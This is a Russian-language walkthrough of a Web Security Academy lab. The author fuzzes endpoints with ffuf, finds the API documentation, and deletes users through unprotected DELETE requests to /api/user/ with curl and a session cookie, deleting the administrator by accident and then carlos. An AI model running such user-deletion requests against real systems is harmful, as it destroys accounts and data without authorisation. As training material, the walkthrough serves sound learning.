Для прохождения лабы нужно удалить пользователя carlos. Для этого нужно найти подходящий ендпоинт.

Для в хода в аккаунт можно использовать данные wiener:peter.

https://0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net

Solution

Зайду в аккаунт, чтобы посмотреть, что вообще доступно пользователю.

IMG

Попробую обновить почту, чтобы посмотреть, как формируется запрос для этого. Предварительно запущу ffuf по списку популярных путей в API, чтобы попробовать найти ендпоинты.

ffuf -u https://0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net/FUZZ -w wordlists/common.txt

Итак, попробую изменить почту на new@mail.net. Для этого отправлю следующий запрос:

PATCH /api/user/wiener HTTP/2
Host: 0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net
Cookie: session=AIJf2Ci7rfaIg4i9yPYNfeLCp1RISEB5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net/my-account
Content-Type: text/plain;charset=UTF-8
Content-Length: 25
Origin: https://0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"email":"new@email.net"}

Судя по всему на сайте есть ендпоинт /api/user/<username>. Посмотрю, что насканил ffuf:

Login                   [Status: 200, Size: 3172, Words: 1315, Lines: 64, Duration: 63ms]
analytics               [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 61ms]
api                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 60ms]
favicon.ico             [Status: 200, Size: 15406, Words: 11, Lines: 1, Duration: 65ms]
filter                  [Status: 200, Size: 10729, Words: 5059, Lines: 199, Duration: 62ms]
login                   [Status: 200, Size: 3172, Words: 1315, Lines: 64, Duration: 63ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 62ms]
my-account              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 61ms]

Он тоже насканил /api. Попробую открыть эту страницу:

IMG

Собственно вот они — все доступные методы API. Среди них есть нужный мне — DELETE. Отправлю нужный запрос с помощью curl:

cu63:~/ $ curl -X 'DELETE' https://0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net/api/user/administrator                                      
"Unauthorized"%

Попробую добавить Cookie:

cu63:~/ $ curl -X 'DELETE' https://0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net/api/user/administrator -b "session=AIJf2Ci7rfaIg4i9yPYNfeLCp1RISEB5"                                                                                                               
{"status":"User deleted"}%

Пуф, и нет человека)

Упс… Я удалил не того. Ну и ладно. На этот раз все получится)

cu63:~/ $ curl -X 'DELETE' https://0a0900cf0462b24280dd7bf200ef0015.web-security-academy.net/api/user/carlos -b "session=AIJf2Ci7rfaIg4i9yPYNfeLCp1RISEB5"                                                                                                               
{"status":"User deleted"}%

Теперь лаба решена)

IMG